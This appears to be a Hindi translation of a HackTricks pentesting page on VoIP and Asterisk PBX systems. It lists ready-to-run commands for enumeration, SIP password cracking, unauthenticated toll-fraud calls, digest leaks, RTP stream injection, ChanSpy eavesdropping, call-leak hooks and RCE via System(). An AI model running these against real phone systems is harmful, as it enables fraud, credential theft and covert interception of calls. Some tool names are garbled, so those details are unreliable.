Pentesting VoIP

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

VoIP मूलभूत जानकारी

VoIP कैसे काम करता है इसके बारे में सीखने के लिए देखें:

pageBasic VoIP Protocols

VoIP एनुमरेशन

टेलीफोन नंबर

एक रेड टीम का पहला कदम हो सकता है कंपनी से संपर्क करने के लिए उपलब्ध फोन नंबर खोजना या OSINT टूल्स, Google खोज या वेब पेजों को स्क्रेप करना।

एक बार जब आपके पास टेलीफोन नंबर होते हैं, तो आप ऑनलाइन सेवाओं का उपयोग कर सकते हैं ताकि ऑपरेटर की पहचान कर सकें:

यदि ऑपरेटर VoIP सेवाएं प्रदान करता है, तो आप पहचान सकते हैं कि कंपनी VoIP का उपयोग कर रही है... इसके अतिरिक्त, संभावना है कि कंपनी ने VoIP सेवाएं किराए पर नहीं ली हो लेकिन अपने VoIP PBX को पारंपरिक दूरसंचार नेटवर्क से कनेक्ट करने के लिए PSTN कार्ड का उपयोग कर रही हो।

ऑटोमेटेड प्रतिक्रियाएँ या संगीत की जैसी चीजें आम तौर पर इसका संकेत देती हैं कि VoIP का उपयोग हो रहा है।

Google Dorks

# Grandstream phones
intitle:"Grandstream Device Configuration" Password
intitle:"Grandstream Device Configuration" (intext:password & intext:"Grandstream Device Configuration" & intext:"Grandstream Networks" | inurl:cgi-bin) -.com|org

# Cisco Callmanager
inurl:"ccmuser/logon.asp"
intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button"

# Cisco phones
inurl:"NetworkConfiguration" cisco

# Linksys phones
intitle:"Sipura SPA Configuration"

# Snom phones
intitle:"snom" intext:"Welcome to Your Phone!" inurl:line_login.htm

# Polycom SoundPoint IP & phones
intitle:"SoundPoint IP Configuration Utility - Registration"
"Welcome to Polycom Web Configuration Utility" "Login as" "Password"
intext: "Welcome to Polycom Web Configuration Utility" intitle:"Polycom - Configuration Utility" inurl:"coreConf.htm"
intitle:"Polycom Login" inurl:"/login.html"
intitle:"Polycom Login" -.com

# Elastix
intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"

# FreePBX
inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration"

OSINT जानकारी

किसी अन्य OSINT जांच जो VoIP सॉफ़्टवेयर का पता लगाने में मददगार होगी रेड टीम के लिए।

नेटवर्क जांच

  • nmap UDP सेवाओं की स्कैनिंग करने में सक्षम है, लेकिन इस प्रकार की सेवाओं की संख्या के कारण, यह बहुत धीमा है और इस प्रकार की सेवाओं के साथ बहुत सटीक नहीं हो सकता है।

  • SIPVicious से svmap (sudo apt install sipvicious): निर्दिष्ट नेटवर्क में SIP सेवाओं को ढूंढेगा।

  • svmap ब्लॉक करना आसान है क्योंकि यह उपयोगकर्ता एजेंट friendly-scanner का उपयोग करता है, लेकिन आप /usr/share/sipvicious/sipvicious से कोड को संशोधित कर सकते हैं।

# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
  • sipscan.py को sippts** से:** Sipscan एक बहुत तेज स्कैनर है जो UDP, TCP या TLS के माध्यम से SIP सेवाओं के लिए है। यह मल्टीथ्रेड का उपयोग करता है और बड़े नेटवर्क के रेंज को स्कैन कर सकता है। यह आसानी से एक पोर्ट रेंज दर्ज करने, TCP और UDP दोनों को स्कैन करने, एक अन्य विधि का उपयोग करने की अनुमति देता है (डिफ़ॉल्ट रूप से यह OPTIONS का उपयोग करेगा) और एक विभिन्न उपयोगकर्ता एजेंट निर्दिष्ट करने की अनुमति देता है (और अधिक)।

./sipscan.py -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]

[!] IP/Network: 10.10.0.0/24
[!] Port range: 5060-5080
[!] Protocol: UDP, TCP, TLS
[!] Method to scan: REGISTER
[!] Customized User-Agent: Cisco
[!] Used threads: 200
  • मेटास्प्लॉइट:

auxiliary/scanner/sip/options_tcp normal  No     SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/options     normal  No     SIP Endpoint Scanner (UDP)

अतिरिक्त नेटवर्क जांच

PBX अन्य नेटवर्क सेवाएं भी उजागर कर सकता है जैसे:

  • 69/UDP (TFTP): फर्मवेयर अपडेट

  • 80 (HTTP) / 443 (HTTPS): उपकरण को वेब से प्रबंधित करने के लिए

  • 389 (LDAP): उपयोगकर्ताओं की जानकारी संग्रहित करने के लिए वैकल्पिक

  • 3306 (MySQL): MySQL डेटाबेस

  • 5038 (Manager): अन्य प्लेटफॉर्म से Asterisk का उपयोग करने की अनुमति देता है

  • 5222 (XMPP): Jabber का उपयोग करके संदेश

  • 5432 (PostgreSQL): PostgreSQL डेटाबेस

  • और अन्य...

विधियों का जांच

sipenumerate.py का उपयोग करके PBX में उपयोग करने के लिए कौन-कौन से विधियाँ उपलब्ध हैं, यह पता लगाया जा सकता है sippts से।

python3 sipenumerate.py -i 10.10.0.10 -r 5080

एक्सटेंशन जांच

PBX (निजी शाखा एक्सचेंज) सिस्टम में एक्सटेंशन व्यक्तिगत फोन लाइन, उपकरण या उपयोगकर्ताओं को दिये गए अद्वितीय आंतरिक पहचानकर्ताओं को संदर्भित करते हैं। एक्सटेंशन संगठन में कॉल को प्रभावी रूप से मार्गांकित करने की संभावना बनाते हैं, बिना प्रत्येक उपयोगकर्ता या उपकरण के लिए व्यक्तिगत बाह्य फोन नंबर की आवश्यकता के।

  • svwar SIPVicious से (sudo apt install sipvicious): svwar एक मुफ्त SIP PBX एक्सटेंशन लाइन स्कैनर है। सिद्धांत में, यह पारंपरिक वारडायलर की तरह काम करता है जिसमें एक श्रेणी के एक्सटेंशन्स या दिए गए एक्सटेंशन्स की सूची को अनुमान लगाकर

svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
  • sipextend.py from sippts: Sipexten SIP सर्वर पर एक्सटेंशन की पहचान करता है। Sipexten बड़े नेटवर्क और पोर्ट रेंज की जांच कर सकता है।

python3 sipexten.py -i 10.10.0.10 -r 5080 -e 100-200
  • metasploit: आप मेटास्प्लॉइट के साथ एक्सटेंशन/उपयोगकर्ता की जांच भी कर सकते हैं:

auxiliary/scanner/sip/enumerator_tcp  normal  No     SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator      normal  No     SIP Username Enumerator (UDP)
  • enumiax (apt install enumiax): enumIAX एक इंटर एस्ट्रिक्स एक्सचेंज प्रोटोकॉल उपयोगकर्ता ब्रूट-फोर्स एनुमरेटर है। enumIAX दो विभिन्न मोड में काम कर सकता है; क्रमिक उपयोगकर्ता अनुमान या शब्दकोश हमला।

enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10

VoIP हमले

पासवर्ड ब्रूट-फोर्स

PBX और कुछ एक्सटेंशन/उपयोगकर्ता नामों का पता लगाने के बाद, एक लाल टीम को REGISTER विधि का उपयोग करके एक डिक्शनरी का उपयोग करके प्रमाणीकरण के लिए एक एक्सटेंशन पर पासवर्ड ब्रूट फोर्स करने की कोशिश कर सकती है।

ध्यान दें कि एक उपयोगकर्ता नाम एक्सटेंशन के समान हो सकता है, लेकिन यह अभ्यास PBX सिस्टम, इसकी विन्यास, और संगठन की पसंद के आधार पर भिन्न हो सकता है...

अगर उपयोगकर्ता नाम एक्सटेंशन के समान नहीं है, तो आपको उपयोगकर्ता नाम का पता लगाने के लिए उसे ब्रूट फोर्स करने की आवश्यकता होगी।

  • svcrack from SIPVicious (sudo apt install sipvicious): SVCrack आपको PBX पर एक विशिष्ट उपयोगकर्ता नाम/एक्सटेंशन के लिए पासवर्ड क्रैक करने की अनुमति देता है।

svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
  • sipcrack.py from sippts: SIP Digest Crack एक उपकरण है जो SIP प्रोटोकॉल के भीतर डाइजेस्ट प्रमाणीकरण को क्रैक करने के लिए है।

python3 siprcrack.py -i 10.10.0.10 -r 5080 -e 100,101,103-105 -w wordlist/rockyou.txt

VoIP स्निफिंग

यदि आप ओपन वाईफाई नेटवर्क में VoIP उपकरण पाते हैं, तो आप सभी जानकारी को स्निफ कर सकते हैं। इसके अतिरिक्त, यदि आप एक और बंद नेटवर्क में हैं (इथरनेट के माध्यम से कनेक्ट किया गया है या सुरक्षित वाईफाई के माध्यम से) तो आप ARPspoofing जैसे MitM हमले कर सकते हैं जो PBX और गेटवे के बीच में सूचना स्निफ करने के लिए होता है।

नेटवर्क सूचना के बीच, आप वेब क्रेडेंशियल प्रबंधन के लिए, उपयोगकर्ता एक्सटेंशन, उपयोगकर्ता नाम, आईपी पते, यहाँ तक कि हैश गुप्तशब्द और RTP पैकेट्स भी मिल सकते हैं जिन्हें आप बातचीत सुनने के लिए पुन: उत्पन्न कर सकते हैं, और अधिक।

इस जानकारी को प्राप्त करने के लिए आप Wireshark, tcpdump जैसे उपकरणों का उपयोग कर सकते हैं... लेकिन VoIP बातचीत स्निफ करने के लिए विशेष रूप से बनाया गया उपकरण ucsniff का उपयोग कर सकते हैं।

ध्यान दें कि यदि SIP संचार में TLS का उपयोग किया जाता है तो आप स्पष्ट रूप से SIP संचार को नहीं देख पाएंगे। यदि SRTP और ZRTP का उपयोग किया जाता है, तो RTP पैकेट्स स्पष्ट पाठ में नहीं होंगे

SIP क्रेडेंशियल

इस उदाहरण की जाँच करें ताकि आप समझ सकें कि SIP REGISTER संचार को बेहतर से समझें कि क्रेडेंशियल कैसे भेजी जा रही हैं

  • sipdump और sipcrack, sipcrack का हिस्सा (apt-get install sipcrack): ये उपकरण pcap से SIP प्रोटोकॉल के भीतर डाइजेस्ट प्रमाणीकरण निकाल सकते हैं और उन्हें ब्रूटफोर्स कर सकते हैं।

sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
  • siptshar.py, sipdump.py, sipcrack.py को sippts** से:**

  • SipTshark PCAP फ़ाइल से SIP प्रोटोकॉल के डेटा को निकालता है।

  • SipDump PCAP फ़ाइल से SIP डाइजेस्ट प्रमाणीकरण को निकालता है।

  • SIP Digest Crack SIP प्रोटोकॉल के भीतर डाइजेस्ट प्रमाणीकरण को क्रैक करने का एक उपकरण है।

python3 siptshark.py -f captura3.pcap [-filter auth]
python3 sipdump.py -f captura3.pcap -o data.txt
python3 sipcrack.py -f data.txt -w wordlist/rockyou.txt

DTMF कोड

नेटवर्क ट्रैफिक में SIP क्रेडेंशियल्स के अलावा, DTMF कोड भी पाए जा सकते हैं जो उदाहरण के लिए वॉयसमेल तक पहुंचने के लिए उपयोग किए जाते हैं। ये कोड INFO SIP मैसेज में, ऑडियो में या RTP पैकेट्स के अंदर भेजा जा सकता है। अगर कोड RTP पैकेट्स के अंदर हैं, तो आप उस बातचीत का वह हिस्सा काट सकते हैं और इस्तेमाल कर सकते हैं multimo टूल को उन्हें निकालने के लिए:

multimon -a DTMF -t wac pin.wav

मुफ्त कॉल्स / एस्टेरिस्क कनेक्शन गलत कॉन्फ़िगरेशन

एस्टेरिस्क में एक कनेक्शन को एक विशिष्ट आईपी पते से या किसी भी आईपी पते से जाने देने की संभावना है:

host=10.10.10.10
host=dynamic

यदि एक आईपी पता निर्दिष्ट किया गया है, तो होस्ट को समय-समय पर REGISTER रिक्वेस्ट भेजने की आवश्यकता नहीं होगी (REGISTER पैकेट में जीवनकाल भेजा जाता है, सामान्यत: 30 मिनट, जिसका मतलब है कि दूसरे स्थिति में फोन को हर 30 मिनट में REGISTER करने की आवश्यकता होगी)। हालांकि, उसे कॉल्स लेने की अनुमति देने के लिए वॉयप सर्वर से कनेक्शन स्वीकार करने की खुली पोर्ट्स होनी चाहिए।

उपयोगकर्ताओं को परिभाषित करने के लिए वे निम्नलिखित रूप में परिभाषित किए जा सकते हैं:

  • type=user: उपयोगकर्ता केवल उपयोगकर्ता के रूप में कॉल्स प्राप्त कर सकता है।

  • type=friend: पीयर के रूप में कॉल्स करना और उपयोगकर्ता के रूप में प्राप्त करना संभव है (एक्सटेंशन्स के साथ उपयोग किया जाता है)।

  • type=peer: पीयर के रूप में कॉल्स भेजना और प्राप्त करना संभव है (SIP-ट्रंक्स)

असुरक्षित चर के साथ विश्वास स्थापित करना भी संभव है:

  • insecure=port: आईपी द्वारा सत्यापित पीयर कनेक्शन की अनुमति देता है।

  • insecure=invite: INVITE संदेशों के लिए प्रमाणीकरण की आवश्यकता नहीं है।

  • insecure=port,invite: दोनों

जब type=friend का उपयोग किया जाता है, तो होस्ट चर की मान का उपयोग नहीं होगा, इसलिए अगर किसी व्यवस्थापक ने उस मान का उपयोग करके एक SIP-ट्रंक को गलती से कॉन्फ़िगर कर दिया है, तो कोई भी उससे कनेक्ट कर सकेगा

उदाहरण के लिए, यह कॉन्फ़िगरेशन सुरक्षित नहीं होगा: host=10.10.10.10 insecure=port,invite type=friend

मुफ्त कॉल्स / एस्टेरिस्क कॉन्टेक्स्ट गलतियाँ

एस्टेरिस्क में एक कॉन्टेक्स्ट एक नामित धारा या खंड है जो संबंधित एक्सटेंशन्स, क्रियाएँ, और नियमों को समूहित करता है। डायल प्लान एक एस्टेरिस्क सिस्टम का मूल घटक है, क्योंकि यह आउटगोइंग कॉल्स कैसे हैंडल और रूट किए जाते हैं को परिभाषित करता है। कॉन्टेक्स्ट का उपयोग डायल प्लान को संगठित करने, एक्सेस नियंत्रण प्रबंधित करने, और सिस्टम के विभिन्न हिस्सों के बीच विभाजन प्रदान करने के लिए किया जाता है।

प्रत्येक कॉन्टेक्स्ट को सामान्यत: extensions.conf फ़ाइल में परिभाषित किया जाता है। कॉन्टेक्स्ट को वर्गाकार ब्रैकेट्स द्वारा निर्दिष्ट किया जाता है, जिसमें कॉन्टेक्स्ट का नाम उनमें बंधा होता है। उदाहरण के लिए:

csharpCopy code[my_context]

विषय में, आप विस्तार (डायल किए गए नंबरों के पैटर्न) को परिभाषित करते हैं और उन्हें कई क्रियाओं या एप्लिकेशंस के साथ जोड़ते हैं। ये क्रियाएँ यह तय करती हैं कि कॉल को कैसे प्रसंस्कृत किया जाए। उदाहरण के लिए:

[my_context]
exten => 100,1,Answer()
exten => 100,n,Playback(welcome)
exten => 100,n,Hangup()

यह उदाहरण एक सरल संदर्भ दिखाता है जिसे "my_context" कहा जाता है और एक एक्सटेंशन "100" है। जब कोई 100 डायल करता है, तो कॉल उत्तरित की जाएगी, एक स्वागत संदेश प्ले होगा, और फिर कॉल को समाप्त किया जाएगा।

यह एक और संदर्भ है जो किसी अन्य नंबर पर कॉल करने की अनुमति देता है:

[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})

अगर व्यवस्थापक डिफ़ॉल्ट संदर्भ को इस प्रकार परिभाषित करता है:

[default]
include => my_context
include => external

किसी भी व्यक्ति को सर्वर का उपयोग किसी भी अन्य नंबर पर कॉल करने के लिए करने की अनुमति होगी (और सर्वर का प्रशासक कॉल के लिए भुगतान करेगा)।

इसके अतिरिक्त, डिफ़ॉल्ट रूप से sip.conf फ़ाइल में allowguest=true शामिल है, तो कोई भी हमलावर किसी भी अन्य नंबर पर कॉल करने के लिए अथेंटिकेशन के बिना सक्षम हो जाएगा।

  • sipinvite.py from sippts: Sipinvite यह जांचता है कि क्या एक PBX सर्वर हमें बिना प्रमाणीकरण के कॉल करने की अनुमति देता है। यदि SIP सर्वर में गलत कॉन्फ़िगरेशन है, तो यह हमें बाहरी नंबरों पर कॉल करने की अनुमति देगा। यह हमें कॉल को एक दूसरे बाहरी नंबर पर स्थानांतरित करने की भी अनुमति दे सकता है।

उदाहरण के लिए, यदि आपके Asterisk सर्वर में एक खराब संदर्भ कॉन्फ़िगरेशन है, तो आप INVITE अनुरोध को अथॉराइज़ेशन के बिना स्वीकार कर सकते हैं। इस मामले में, एक हमलावर किसी भी उपयोगकर्ता/पासवर्ड को नहीं जानते हुए कॉल कर सकता है।

# Trying to make a call to the number 555555555 (without auth) with source number 200.
python3 sipinvite.py -i  10.10.0.10 -fu 200 -tu 555555555 -v

# Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444.
python3 sipinvite.py -i 10.10.0.10 -tu 555555555 -t 444444444

मुफ्त कॉल / गलत रूप से कॉन्फ़िगर किया गया IVRS

IVRS का मतलब है इंटरेक्टिव वॉयस रिस्पॉन्स सिस्टम, एक दूरसंचार प्रौद्योगिकी जो उपयोगकर्ताओं को आवाज या टच-टोन इनपुट के माध्यम से कंप्यूटरीकृत सिस्टम के साथ बातचीत करने की अनुमति देती है। IVRS का उपयोग स्वचालित कॉल हैंडलिंग सिस्टम बनाने के लिए किया जाता है, जो जानकारी प्रदान करना, कॉल रूटिंग, और उपयोगकर्ता इनपुट को जमा करने जैसी विभिन्न कार्यों की रेंज प्रदान करते हैं।

VoIP सिस्टम में IVRS सामान्यत:

  1. वॉयस प्रॉम्प्ट्स: उपयोगकर्ताओं को IVR मेनू विकल्प और निर्देशों के माध्यम से गाइड करने वाले पूर्व-रिकॉर्डेड ऑडियो संदेश।

  2. DTMF (ड्यूल-टोन मल्टी-फ्रीक्वेंसी) सिग्नलिंग: फोन पर कुंजियों को दबाकर उत्पन्न टच-टोन इनपुट, जिनका उपयोग IVR मेनू में नेविगेट करने और इनपुट प्रदान करने के लिए किया जाता है।

  3. कॉल रूटिंग: उपयोगकर्ता इनपुट के आधार पर विशेष विभागों, एजेंट्स, या एक्सटेंशन्स जैसे उचित गंतव्यों पर कॉल को निर्देशित करना।

  4. उपयोगकर्ता इनपुट जमा करना: कॉलर्स से जानकारी जमा करना, जैसे खाता संख्याएँ, मामला आईडी, या किसी अन्य संबंधित डेटा।

  5. बाहरी सिस्टमों के साथ एकीकरण: IVR सिस्टम को डेटाबेस या अन्य सॉफ़्टवेयर सिस्टम से जोड़ना ताकि जानकारी एक्सेस या अपडेट करने, कार्रवाई करने, या घटनाएँ ट्रिगर करने के लिए किया जा सके।

एक एस्टेरिस्क VoIP सिस्टम में, आप extensions.conf फ़ाइल का उपयोग करके और Background(), Playback(), Read() और अन्य विभिन्न एप्लिकेशंस का उपयोग करके IVR बना सकते हैं। ये एप्लिकेशंस आपको वॉयस प्रॉम्प्ट्स प्ले करने, उपयोगकर्ता इनपुट जमा करने, और कॉल फ्लो को नियंत्रित करने में मदद करते हैं।

विकल्पित कॉन्फ़िगरेशन का उदाहरण

exten => 0,100,Read(numbers,the_call,,,,5)
exten => 0,101,GotoIf("$[${numbers}"="1"]?200)
exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})

पिछला एक उदाहरण है जहां उपयोगकर्ता से कहा जाता है कि 1 दबाएं एक विभाग को कॉल करने के लिए, 2 दबाएं दूसरे को कॉल करने के लिए, या पूर्ण एक्सटेंशन अगर उसे पता है। यह विकल्पनीयता यह है कि निर्दित एक्सटेंशन लंबाई की जांच नहीं की जाती है, इसलिए एक उपयोगकर्ता 5 सेकंड की टाइमआउट के बाद एक पूर्ण संख्या दर्ज कर सकता है और वह कॉल किया जाएगा।

एक्सटेंशन इंजेक्शन

एक्सटेंशन का उपयोग करके:

exten => _X.,1,Dial(SIP/${EXTEN})

जहाँ ${EXTEN} एक्सटेंशन है जिसे बुलाया जाएगा, जब एक्सटेंशन 101 दर्ज किया जाएगा तो यह होगा:

exten => 101,1,Dial(SIP/101)

However, यदि ${EXTEN} को अधिक से अधिक नंबर दर्ज करने की अनुमति देता है (पुराने Asterisk संस्करणों में), तो हमलावार व्यक्ति 101&SIP123123123 दर्ज कर सकता है ताकि फोन नंबर 123123123 को कॉल किया जा सके। और यही परिणाम होगा:

exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)

इसलिए, 101 और 123123123 एक्सटेंशन पर कॉल भेजी जाएगी और कॉल केवल पहले वाले को ही स्थापित किया जाएगा... लेकिन अगर कोई हमलावर किसी मैच को छलकरता है जो किसी अस्तित्व में नहीं है, तो वह केवल वांछित नंबर पर कॉल इंजेक्ट कर सकता है।

SIPDigestLeak

SIP Digest Leak एक विकल्पन है जो बड़ी संख्या में SIP फोनों को प्रभावित करता है, जिसमें हार्डवेयर और सॉफ्टवेयर आईपी फोन्स सहित फोन एडाप्टर (वोआईपी से एनालॉग में) शामिल हैं। यह विकल्पन डाइजेस्ट प्रमाणीकरण प्रतिक्रिया का लीक संभव बनाता है, जो पासवर्ड से गणना किया जाता है। एक ऑफलाइन पासवर्ड हमला फिर संभव होता है और चैलेंज प्रतिक्रिया के आधार पर अधिकांश पासवर्ड को पुनः प्राप्त कर सकता है।

**यहां से विकल्पना स्थिति**:

  1. एक आईपी फोन (शिकारी) पोर्ट 5060 पर सुन रहा है, फोन कॉल स्वीकार कर रहा है

  2. हमलावर एक INVITE आईपी फोन को भेजता है

  3. शिकारी फोन रिंगिंग शुरू करता है और कोई उत्तर नहीं देता (क्योंकि दूसरी ओर कोई फोन नहीं उठाता है)

  4. जब फोन को रख दिया जाता है, तो शिकारी फोन हमलावर को एक BYE भेजता है

  5. हमलावर एक 407 प्रतिक्रिया जारी करता है जो प्रमाणीकरण के लिए मांग करता है और प्रमाणीकरण चुनौती जारी करता है

  6. शिकारी फोन एक दूसरे BYE में प्रमाणीकरण चुनौती का उत्तर प्रदान करता है

  7. हमलावर फिर अपनी स्थानीय मशीन पर (या वितरित नेटवर्क आदि) चुनौती प्रतिक्रिया पर ब्रूट-फोर्स हमला कर सकता है और पासवर्ड को अनुमान लगा सकता है

  • sipdigestleak.py from sippts: SipDigestLeak इस विकल्पन का शोध करता है।

python3 sipdigestleak.py -i 10.10.0.10

[!] Target: 10.10.0.10:5060/UDP
[!] Caller: 100
[!] Callee: 100

[=>] Request INVITE
[<=] Response 100 Trying
[<=] Response 180 Ringing
[<=] Response 200 OK
[=>] Request ACK
... waiting for BYE ...
[<=] Received BYE
[=>] Request 407 Proxy Authentication Required
[<=] Received BYE with digest
[=>] Request 200 Ok

Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5

Click2Call

Click2Call एक वेब उपयोगकर्ता को यह सुविधा देता है (जो उदाहरण के लिए किसी उत्पाद में रुचि रख सकता है) कि वह अपना टेलीफोन नंबर प्रस्तुत करके कॉल कराएं। फिर एक व्यापारिक कॉल किया जाएगा, और जब वह फोन उठाता है तो उपयोगकर्ता को कॉल किया जाएगा और एजेंट के साथ कनेक्ट किया जाएगा

इसके लिए एक सामान्य Asterisk प्रोफ़ाइल है:

[web_user]
secret = complex_password
deny = 0.0.0.0/0.0.0.0
allow = 0.0.0.0/0.0.0.0
displayconnects = yes
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate
  • पिछला प्रोफ़ाइल किसी भी IP पते को कनेक्ट करने की अनुमति दे रहा है (अगर पासवर्ड ज्ञात है)।

  • कॉल संगठित करने के लिए, जैसा पहले स्पष्ट किया गया है, कोई पढ़ने की अनुमति आवश्यक नहीं है और केवल उत्पन्न में लेखन की आवश्यकता है।

इन अनुमतियों के साथ किसी भी IP जो पासवर्ड जानता है, कनेक्ट कर सकता है और बहुत सारी जानकारी निकाल सकता है, जैसे:

# Get all the peers
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3

अधिक जानकारी या कार्रवाई की मांग की जा सकती है।

ईव्सड्रॉपिंग

एस्टेरिस्क में ChanSpy कमांड का उपयोग करके मॉनिटर करने के लिए एक्सटेंशन(एस) को निर्दिष्ट करना (या सभी को) संवाद सुनना संभव है। इस कमांड को एक एक्सटेंशन को सौंपा जाना चाहिए।

उदाहरण के लिए, exten => 333,1,ChanSpy('all',qb) इसका अर्थ है कि यदि आप एक्सटेंशन 333 को कॉल करते हैं, तो यह सभी एक्सटेंशन को मॉनिटर करेगा, नए संवाद शुरू होने पर (b) चुपके से (q) सुनना शुरू करेगा क्योंकि हमें इसमें हस्तक्षेप करना नहीं है। आप * दबाकर एक से दूसरे संवाद में जा सकते हैं, या एक्सटेंशन नंबर को चिह्नित करके।

यह संवाद सुनने की बजाय, एक्सटेंशन जैसे किसी एक्सटेंशन का निगरानी करना संभव है।

संवादों को सुनने की बजाय, उन्हें फ़ाइलों में रिकॉर्ड करना संभव है जैसे किसी एक्सटेंशन का उपयोग करके:

[recorded-context]
exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
exten => _X.,2,MixMonitor(${NAME})

कॉल्स /tmp में सहेजी जाएंगी।

आप अस्टेरिस्क को एक स्क्रिप्ट भी चला सकते हैं जो कॉल को लीक करेगा जब यह बंद होगा।

exten => h,1,System(/tmp/leak_conv.sh &)

RTCPBleed

RTCPBleed एक प्रमुख सुरक्षा समस्या है जो एस्टेरिस्क-आधारित VoIP सर्वरों को प्रभावित करती है (2017 में प्रकाशित की गई।) यह कमजोरी यह संभावना देती है कि RTP (रियल टाइम प्रोटोकॉल) ट्रैफिक, जो VoIP वार्ताएँ लेता है, किसी भी इंटरनेट पर किसी भी व्यक्ति द्वारा अंतर्दृष्टि की जा सकती है और पुनर्निर्देशित की जा सकती है। यह इसलिए होता है क्योंकि RTP ट्रैफिक NAT (नेटवर्क पता अनुवादन) फ़ायरवॉल के माध्यम से नेविगेट करते समय प्रमाणीकरण को छोड़ देता है।

RTP प्रॉक्सी आरटीसी सिस्टम को प्रभावित करने वाली NAT सीमाएं का सामना करने के लिए RTP स्ट्रीम को दो या दो से अधिक पक्षों के बीच प्रॉक्सी करने का प्रयास करते हैं। जब NAT लागू होता है, तो RTP प्रॉक्सी सॉफ़्टवेयर अक्सर साइनलिंग (जैसे SIP) के माध्यम से प्राप्त की गई RTP IP और पोर्ट जानकारी पर निर्भर नहीं कर सकता। इसलिए, कई RTP प्रॉक्सी ने एक ऐसी तंतु को लागू किया है जिसमें ऐसा आईपी और पोर्ट टुप्लेट स्वचालित रूप से सीखा जाता है। यह अक्सर आने वाले RTP ट्रैफिक की जांच करके किया जाता है और आने वाले RTP ट्रैफिक के स्रोत आईपी और पोर्ट को उत्तर देने के लिए उसे चिह्नित किया जाता है। इस तंतु, जिसे "सीखने की मोड" कहा जा सकता है, किसी भी प्रकार का प्रमाणीकरण का उपयोग नहीं करता। इसलिए हमलावर RTP प्रॉक्सी को RTP ट्रैफिक भेज सकते हैं और एक चल रहे RTP स्ट्रीम के कॉलर या कॉली के लिए होने वाले प्रॉक्सी RTP ट्रैफिक को प्राप्त कर सकते हैं। हम इसे RTP Bleed कहते हैं क्योंकि यह हमलावरों को वैध उपयोगकर्ताओं को भेजने के लिए निर्धारित RTP मीडिया स्ट्रीम प्राप्त करने की अनुमति देता है।

RTP प्रॉक्सीज़ और RTP स्टैक का एक और दिलचस्प व्यवहार यह है कि कभी-कभी, यदि आरटीपी Bleed के लिए विकल्प नहीं है, तो वे किसी भी स्रोत से आरटीपी पैकेट्स को स्वीकार, आगे भेजें और/या प्रोसेस कर सकते हैं। इसलिए हमलावर ऐसे आरटीपी पैकेट्स भेज सकते हैं जिनसे उन्हें वैध वाले की बजाय अपने मीडिया को इंजेक्ट करने की अनुमति मिल सकती है। हम इस हमले को आरटीपी इंजेक्शन कहते हैं क्योंकि इससे मौजूदा आरटीपी स्ट्रीम में अवैध आरटीपी पैकेट्स को इंजेक्ट करने की अनुमति देता है। यह कमजोरी आरटीपी प्रॉक्सीज़ और एंडपॉइंट्स दोनों में पाई जा सकती है।

एस्टेरिस्क और फ्रीपीबीएक्स ने पारंपरिक रूप से NAT=yes सेटिंग का उपयोग किया है, जिससे RTP ट्रैफिक को प्रमाणीकरण को छोड़कर गुजरने की अनुमति मिलती है, जिससे कॉलों पर कोई ऑडियो नहीं हो सकती या एक तरफ़ा ऑडियो हो सकती है।

अधिक जानकारी के लिए https://www.rtpbleed.com/ देखें

  • rtpbleed.py from sippts: यह RTP Bleed वंलरेबिलिटी को भेजकर RTP स्ट्रीम की पहचान करता है

python3 rtpbleed.py -i 10.10.0.10
  • rtcpbleed.py from sippts: यह RTP Bleed वंरबिलिटी को RTP स्ट्रीम भेजकर पता लगाता है

python3 rtcpbleed.py -i 10.10.0.10
  • rtpbleedflood.py from sippts: RTP Bleed सुरक्षा गड़बड़ी का शोध करने के लिए RTP स्ट्रीम भेजें

python3 rtpbleedflood.py -i 10.10.0.10 -p 10070 -v
  • rtpbleedinject.py from sippts: RTP Bleed सुरक्षा गड़बड़ी का शोध करने के लिए RTP स्ट्रीम्स भेजें (ऑडियो फ़ाइल से)

python3 rtpbleedinject.py -i 10.10.0.10 -p 10070 -f audio.wav

RCE

एस्टेरिस्क में आप किसी तरह से एक्सटेंशन नियम जोड़ने और उन्हें पुनः लोड करने (उदाहरण के लिए, किसी भी वंलरेबल वेब मैनेजर सर्वर को कंप्रोमाइज़ करके) के द्वारा System कमांड का उपयोग करके RCE प्राप्त करना संभव है।

same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)

Shell नामक एक कमांड है जो जरूरत पड़ने पर सिस्टम कमांड को निष्पादित करने के लिए System की जगह उपयोग किया जा सकता है।

